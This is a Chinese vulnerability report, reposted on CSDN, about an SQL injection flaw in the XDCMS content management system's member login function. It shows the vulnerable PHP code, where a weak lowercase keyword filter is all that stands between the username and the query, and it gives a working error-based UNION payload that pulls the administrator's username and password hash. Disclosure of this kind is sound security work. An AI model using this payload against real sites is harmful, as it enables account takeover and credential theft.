mysql注入 xfkxfk_XDCMS企业管理系统SQL注入#2

本文详细探讨了XDCMS企业管理系统中的SQL注入漏洞,该漏洞源于登录功能中对用户输入过滤不足,允许攻击者通过构造特定输入绕过限制,执行恶意SQL语句。通过提供具体的注入 payload 示例,作者证明了该漏洞的存在,并展示了如何获取管理员的用户名和密码。
摘要由CSDN通过智能技术生成

### 简要描述:

最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致SQL注入

### 详细说明:

注入在XDCMS企业管理系统的登录功能处,来看看\system\modules\member\index.php文件: 登录时会调用login_save进行登录验证,问题就出在index.php的login_save函数处:

```

public function login_save(){

$username = safe_html($_POST['username']);//获取UserName,通过safe_html进行过滤,这里存在缺陷,可绕过限制,进行注入

$password = safe_html($_POST['password']);

if(empty($username)||empty($password)){

showmsg(C('user_pass_empty'),'-1');

}

$sql="select * from ".DB_PRE."member where `username`='$username'";//通过绕过限制,在这里进行注入

if($this->mysql->num_rows($sql)==0){

showmsg(C('member_not_exist'),'-1');

}

$password=md5(md5($password));

$rs=$this->mysql->get_one($sql);

if($password!=$rs['password']){

showmsg(C('password_error'),'-1');

}

if($rs['is_lock']==1){

showmsg(C('user_lock'),'-1');

}

$logins=$rs["logins"]+1;

$ip=safe_replace(safe_html(getip()));

$this->mysql->db_update("member","`last_ip`='".$ip."',`last_time`=".datetime().",`logins`=".$logins,"`username`='$username'");

Cookie::_setcookie(array('name'=>'member_user','value'=>$username));

Cookie::_setcookie(array('name'=>'member_userid','value'=>$rs['userid']));

Cookie::_setcookie(array('name'=>'member_groupid','value'=>$rs['groupid']));

unset($rs);

showmsg(C("login_success"),"index.php?m=member");

}

```

### 漏洞证明:

由于在获取UserName时,通过safe_html进行过滤,safe_html只是按照小写过滤了常规的SQL注入敏感词以及=和*,但只这里存在缺陷,可绕过限制,进行注入。

我们使用小写SQL语句,并且不实用=和*

在登录是,抓包,在UserName的值后面增加一下内容:

```

' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#

```

即可注入出管理员的用户名密码

[dl1.png](https://images.seebug.org/upload/201311/30203655fffe86ba1742808a51deb67a6a0ac06b.png)

[dl2.png](https://images.seebug.org/upload/201311/302037083fd57d1094784b045edc02e7951edc89.png)

loading-bars.svg

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值